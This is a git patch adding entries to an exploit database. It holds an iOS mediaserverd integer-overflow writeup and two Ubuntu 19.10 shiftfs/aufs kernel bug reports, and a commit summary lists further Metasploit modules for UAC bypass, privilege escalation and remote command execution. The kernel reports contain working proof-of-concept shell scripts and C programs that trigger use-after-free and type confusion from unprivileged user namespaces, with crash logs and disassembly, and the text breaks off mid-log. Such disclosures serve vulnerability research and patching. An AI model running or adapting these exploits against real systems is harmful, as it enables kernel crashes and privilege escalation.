From cacee46726705c2a421cf0d20ba18d594a9e1658 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 21 Nov 2019 05:01:49 +0000 Subject: [PATCH] DB: 2019-11-21 11 changes to exploits/shellcodes Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd Windows - Escalate UAC Protection Bypass (Via dot net profiler) (Metasploit) Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit) Xorg X11 Server - Local Privilege Escalation (Metasploit) FusionPBX - Operator Panel exec.php Command Execution (Metasploit) FreeSWITCH - Event Socket Command Execution (Metasploit) Bludit - Directory Traversal Image File Upload (Metasploit) Pulse Secure VPN - Arbitrary Command Execution (Metasploit) OpenNetAdmin 18.1.1 - Remote Code Execution --- exploits/ios/dos/47694.txt | 55 ++++++ exploits/linux/dos/47692.txt | 188 ++++++++++++++++++ exploits/linux/dos/47693.txt | 311 ++++++++++++++++++++++++++++++ exploits/multiple/remote/47697.rb | 164 ++++++++++++++++ exploits/multiple/remote/47698.rb | 169 ++++++++++++++++ exploits/multiple/remote/47700.rb | 178 +++++++++++++++++ exploits/php/remote/47699.rb | 262 +++++++++++++++++++++++++ exploits/php/webapps/47691.sh | 23 +++ exploits/unix/local/47701.rb | 222 +++++++++++++++++++++ exploits/windows/local/47695.rb | 210 ++++++++++++++++++++ exploits/windows/local/47696.rb | 165 ++++++++++++++++ files_exploits.csv | 11 ++ 12 files changed, 1958 insertions(+) create mode 100644 exploits/ios/dos/47694.txt create mode 100644 exploits/linux/dos/47692.txt create mode 100644 exploits/linux/dos/47693.txt create mode 100755 exploits/multiple/remote/47697.rb create mode 100755 exploits/multiple/remote/47698.rb create mode 100755 exploits/multiple/remote/47700.rb create mode 100755 exploits/php/remote/47699.rb create mode 100755 exploits/php/webapps/47691.sh create mode 100755 exploits/unix/local/47701.rb create mode 100755 exploits/windows/local/47695.rb create mode 100755 exploits/windows/local/47696.rb diff --git a/exploits/ios/dos/47694.txt b/exploits/ios/dos/47694.txt new file mode 100644 index 000000000..3537d13c4 --- /dev/null +++ b/exploits/ios/dos/47694.txt @@ -0,0 +1,55 @@ +mediaserverd has various media parsing responsibilities; its reachable from various sandboxes +and is able to talk to interesting kernel drivers so is a valid target in an exploit chain. + +One of the services it vends is com.apple.audio.AudioFileServer, a fairly simple XPC service +which will parse audio files on behalf of clients and send them the raw bytes. + +Files are opened via their ipod-library:// URL; for the purposes of this PoC you will need to +ensure there is at least one audio file in the iTunes library +(I've used one of my highschool band's MP3s, available on request, it's not that bad!) + +The files are actually parsed by the AudioFileReadPacketData method; here's the prototype from the docs: + +OSStatus AudioFileReadPacketData(AudioFileID inAudioFile, + Boolean inUseCache, + UInt32 *ioNumBytes, + AudioStreamPacketDescription *outPacketDescriptions, + SInt64 inStartingPacket, + UInt32 *ioNumPackets, + void *outBuffer); + +The docs tell us the meaning of the ioNumBytes and outBuffer arguments: + +ioNumBytes +On input, the size of the outBuffer parameter, in bytes. On output, the number of bytes actually read. + +outBuffer +Memory that you allocate to hold the read packets. Determine an appropriate size by multiplying +the number of packets requested (in the ioNumPackets parameter) by the typical packet size +for the audio data in the file. For uncompressed audio formats, a packet is equal to a frame. + +For the purposes of the bug this function has memcpy semantics; the value pointed to +by ioNumBytes will be considered the correct size of the output buffer; +AudioFileReadPacketData will be unable to verify that; it's up to the caller. + +Looking at the code which calls this the values are derived from three values passed +in the 'read' xpc message: + +numbytes (uint64), numpackets (uint64), startingPacket (int64) + +Those values are truncated to 32 bits then passed through a few layers of function calls during which +various integer overflow occur when they're multiplied and added (there are no checks anywhere.) + +You eventually end up in a curious allocation routine which is able to allocate three different types of +shared memory using either mach memory entries, posix shm or xpc_shmem. This service uses posix_shm, +the PoC should cause mediaserverd to shm_truncate and mmap a 0x4000 byte region, +then attempt to write significantly more bytes there. + +In the debug_output.txt file you can see the debug output and crash log demonstrating that audio data has clearly +corrupted an object and caused a pointer to be overwritten with audio data. + +Tested on iOS 12.4 (16G77) on iPod touch 6G + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47694.zip \ No newline at end of file diff --git a/exploits/linux/dos/47692.txt b/exploits/linux/dos/47692.txt new file mode 100644 index 000000000..81036686c --- /dev/null +++ b/exploits/linux/dos/47692.txt @@ -0,0 +1,188 @@ +Tested on 19.10. + +Ubuntu's aufs kernel patch includes the following change (which I interestingly +can't see in the AUFS code at +https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c): + +================================================================== ++#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__) +[...] +@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr, + return addr; + + unmap_and_free_vma: ++ vma_fput(vma); + vma->vm_file = NULL; +- fput(file); + + /* Undo any partial mapping done by a device driver. */ + unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end); +[...] ++void vma_do_fput(struct vm_area_struct *vma, const char func[], int line) ++{ ++ struct file *f = vma->vm_file, *pr = vma->vm_prfile; ++ ++ prfile_trace(f, pr, func, line, __func__); ++ fput(f); ++ if (f && pr) ++ fput(pr); ++} +================================================================== + +This means that in the case where call_mmap() returns an error to mmap_region(), +fput() will be called on the current value of vma->vm_file instead of the saved +file pointer. This matters if the ->mmap() handler replaces ->vm_file before +returning an error code. + +overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails, +see ovl_mmap() and shiftfs_mmap(). + +To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a +FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap() +to bail out with -ENODEV if MAP_SHARED is set. + +I would have used overlayfs instead, but there is an unrelated bug that makes it +impossible to mount overlayfs inside a user namespace: +Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower +and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE +already has the same value. This causes mount_too_revealing() to bail out with a +WARN_ONCE(). + +Note that this PoC requires the "bindfs" package and should be executed with +"slub_debug" in the kernel commandline to get a clear crash. + +================================================================== +Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0 + +user-Standard-PC-Q35-ICH9-2009 login: user +Password: +Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0 +Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + +0 updates can be installed immediately. +0 of these updates are security updates. + +user@user-Standard-PC-Q35-ICH9-2009:~$ ls +aufs-mmap Documents Music Public trace.dat +Desktop Downloads Pictures Templates Videos +user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/ +user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline +BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7 +user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh +#!/bin/sh +sync +unshare -mUr ./run2.sh +user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh +#!/bin/bash +set -e + +mount -t tmpfs none /tmp +mkdir -p /tmp/{lower,middle,upper} +touch /tmp/lower/foo +# mount some random FUSE filesystem with direct_io, +# doesn't really matter what it does as long as +# there's a file in it. +# (this is just to get some filesystem that can +# easily be convinced to throw errors from f_op->mmap) +bindfs -o direct_io /tmp/lower /tmp/middle +# use the FUSE filesystem to back shiftfs. +# overlayfs would also work if SB_I_NOSUID and +# SB_I_USERNS_VISIBLE weren't defined to the same +# value... +mount -t shiftfs -o mark /tmp/middle /tmp/upper +mount|grep shift +gcc -o trigger trigger.c -Wall +./trigger +user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c +#include +#include +#include +#include +#include + +int main(void) { + int foofd = open("/tmp/upper/foo", O_RDONLY); + if (foofd == -1) err(1, "open foofd"); + void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); + if (badmap == MAP_FAILED) { + perror("badmap"); + } else { + errx(1, "badmap worked???"); + } + sleep(1); + mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); +} +user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh +/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark) +badmap: No such device +[ 72.101721] general protection fault: 0000 [#1] SMP PTI +[ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu +[ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 +[ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] +[ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 +[ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202 +[ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000 +[ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900 +[ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000 +[ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790 +[ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740 +[ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000 +[ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0 +[ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +[ 72.202815] Call Trace: +[ 72.203712] mmap_region+0x417/0x670 +[ 72.204868] do_mmap+0x3a8/0x580 +[ 72.205939] vm_mmap_pgoff+0xcb/0x120 +[ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0 +[ 72.210078] __x64_sys_mmap+0x33/0x40 +[ 72.211327] do_syscall_64+0x5a/0x130 +[ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[ 72.214177] RIP: 0033:0x7faa3ecc7af6 +[ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61 +[ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009 +[ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6 +[ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000 +[ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000 +[ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100 +[ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000 +[ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk +[ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]--- +[ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] +[ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 +[ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202 +[ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000 +[ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900 +[ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000 +[ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790 +[ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740 +[ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000 +[ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0 +[ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +================================================================== + +Faulting code: + +0000000F 55 push rbp +00000010 4889E5 mov rbp,rsp +00000013 4157 push r15 +00000015 4156 push r14 +00000017 4155 push r13 +00000019 4154 push r12 +0000001B 488B87C8000000 mov rax,[rdi+0xc8] +00000022 4C8B6810 mov r13,[rax+0x10] +00000026 498B4528 mov rax,[r13+0x28] +0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE +0000002F 0F8497000000 jz near 0xcc +00000035 4989FC mov r12,rdi +00000038 4989F6 mov r14,rsi + +As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced. \ No newline at end of file diff --git a/exploits/linux/dos/47693.txt b/exploits/linux/dos/47693.txt new file mode 100644 index 000000000..770f9b95a --- /dev/null +++ b/exploits/linux/dos/47693.txt @@ -0,0 +1,311 @@ +Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu". + +Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that +doesn't exist upstream. This filesystem can be mounted from user namespaces, +meaning that this is attack surface from unprivileged userspace in the default +installation. + +There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace(). + +#################### Bug 1: Flawed reference counting #################### + +In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me): + + + src = fdget(oldfd); + if (!src.file) + return -EINVAL; + // src holds one reference (assuming multithreaded execution) + + ret = shiftfs_real_fdget(src.file, lfd); + // lfd->file is a file* now, but shiftfs_real_fdget didn't take any + // extra references + fdput(src); + // this drops the only reference we were holding on src, and src was + // the only thing holding a reference to lfd->file. lfd->file may be + // dangling at this point. + if (ret) + return ret; + + *newfd = get_unused_fd_flags(lfd->file->f_flags); + if (*newfd < 0) { + // always a no-op + fdput(*lfd); + return *newfd; + } + + fd_install(*newfd, lfd->file); + // fd_install() consumes a counted reference, but we don't hold any + // counted references. so at this point, if lfd->file hasn't been freed + // yet, its refcount is one lower than it ought to be. + + [...] + + // the following code is refcount-neutral, so the refcount stays one too + // low. + if (ret) + shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2); + + +shiftfs_real_fdget() is implemented as follows: + +static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) +{ + struct shiftfs_file_info *file_info = file->private_data; + struct file *realfile = file_info->realfile; + + lowerfd->flags = 0; + lowerfd->file = realfile; + + /* Did the flags change since open? */ + if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) + return shiftfs_change_flags(lowerfd->file, file->f_flags); + + return 0; +} + +Therefore, the following PoC will cause reference count overdecrements; I ran it +with SLUB debugging enabled and got the following splat: + +======================================= +user@ubuntu1910vm:~/shiftfs$ cat run.sh +#!/bin/sh +sync +unshare -mUr ./run2.sh +t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh +#!/bin/sh +set -e + +mkdir -p mnt/tmpfs +mkdir -p mnt/shiftfs +mount -t tmpfs none mnt/tmpfs +mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs +mount|grep shift +touch mnt/tmpfs/foo +gcc -o ioctl ioctl.c -Wall +./ioctl +user@ubuntu1910vm:~/shiftfs$ cat ioctl.c +#include +#include +#include +#include +#include +#include + +int main(void) { + int root = open("mnt/shiftfs", O_RDONLY); + if (root == -1) err(1, "open shiftfs root"); + int foofd = openat(root, "foo", O_RDONLY); + if (foofd == -1) err(1, "open foofd"); + struct btrfs_ioctl_vol_args iocarg = { + .fd = foofd + }; + ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg); + sleep(1); + void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); + if (map != MAP_FAILED) munmap(map, 0x1000); +} +user@ubuntu1910vm:~/shiftfs$ ./run.sh +none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000) +/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2) +[ 183.463452] general protection fault: 0000 [#1] SMP PTI +[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu +[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 +[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] +[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 +[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206 +[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000 +[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400 +[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000 +[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0 +[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40 +[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000 +[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0 +[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +[ 183.510580] Call Trace: +[ 183.511396] mmap_region+0x417/0x670 +[ 183.512592] do_mmap+0x3a8/0x580 +[ 183.513655] vm_mmap_pgoff+0xcb/0x120 +[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0 +[ 183.516155] __x64_sys_mmap+0x33/0x40 +[ 183.517352] do_syscall_64+0x5a/0x130 +[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[ 183.520196] RIP: 0033:0x7f1d01bfaaf6 +[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61 +[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009 +[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6 +[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000 +[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000 +[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140 +[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000 +[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover +[ 183.560350] ---[ end trace 4a860910803657c2 ]--- +[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] +[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 +[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206 +[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000 +[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400 +[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000 +[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0 +[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40 +[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000 +[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0 +[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +======================================= + +Disassembly of surrounding code: + +55 push rbp +4889E5 mov rbp,rsp +4157 push r15 +4156 push r14 +4155 push r13 +4154 push r12 +488B87C8000000 mov rax,[rdi+0xc8] +4C8B6810 mov r13,[rax+0x10] +498B4528 mov rax,[r13+0x28] +4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE +0F8497000000 jz near 0xcc +4989FC mov r12,rdi +4989F6 mov r14,rsi + +This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I +think this corresponds to the load of "realfile->f_op->mmap" in the source code. + + + +#################### Bug 2: Type confusion #################### + +shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks +passes the resulting file* into shiftfs_real_fdget(), which does this: + +static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) +{ + struct shiftfs_file_info *file_info = file->private_data; + struct file *realfile = file_info->realfile; + + lowerfd->flags = 0; + lowerfd->file = realfile; + + /* Did the flags change since open? */ + if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) + return shiftfs_change_flags(lowerfd->file, file->f_flags); + + return 0; +} + +file->private_data is a void* that points to a filesystem-dependent type; and +some filesystems even use it to store a type-cast number instead of a pointer. +The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast. + +As a PoC, here I'm causing a type confusion between struct shiftfs_file_info +(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at +offset 0x10), and I use that to cause a memory dereference somewhere around +0x4242: + + +======================================= +user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh +#!/bin/sh +sync +unshare -mUr ./run2.sh +user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh +#!/bin/sh +set -e + +mkdir -p mnt/tmpfs +mkdir -p mnt/shiftfs +mount -t tmpfs none mnt/tmpfs +mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs +mount|grep shift +gcc -o ioctl ioctl.c -Wall +./ioctl +user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c +#include +#include +#include +#include +#include +#include + +int main(void) { + // make our vmacache sequence number something like 0x4242 + for (int i=0; i<0x4242; i++) { + void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ, + MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + if (x == MAP_FAILED) err(1, "mmap vmacache seqnum"); + munmap(x, 0x1000); + } + + int root = open("mnt/shiftfs", O_RDONLY); + if (root == -1) err(1, "open shiftfs root"); + int foofd = open("/proc/self/environ", O_RDONLY); + if (foofd == -1) err(1, "open foofd"); + // trigger the confusion + struct btrfs_ioctl_vol_args iocarg = { + .fd = foofd + }; + ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg); +} +user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh +none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000) +/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2) +[ 348.103005] BUG: unable to handle page fault for address: 0000000000004289 +[ 348.105060] #PF: supervisor read access in kernel mode +[ 348.106573] #PF: error_code(0x0000) - not-present page +[ 348.108102] PGD 0 P4D 0 +[ 348.108871] Oops: 0000 [#1] SMP PTI +[ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu +[ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 +[ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs] +[ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75 +[ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246 +[ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249 +[ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004 +[ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150 +[ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401 +[ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004 +[ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000 +[ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0 +[ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +[ 348.143545] Call Trace: +[ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs] +[ 348.145562] do_vfs_ioctl+0x407/0x670 +[ 348.146620] ? putname+0x4a/0x50 +[ 348.147556] ksys_ioctl+0x67/0x90 +[ 348.148514] __x64_sys_ioctl+0x1a/0x20 +[ 348.149593] do_syscall_64+0x5a/0x130 +[ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[ 348.152108] RIP: 0033:0x7f77fa76767b +[ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48 +[ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010 +[ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b +[ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003 +[ 348.164680] RBP: 